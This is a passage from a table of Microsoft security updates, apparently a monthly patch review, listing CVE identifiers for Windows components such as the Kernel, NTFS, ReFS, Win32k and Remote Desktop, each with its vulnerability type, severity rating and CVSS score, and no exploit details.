CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) 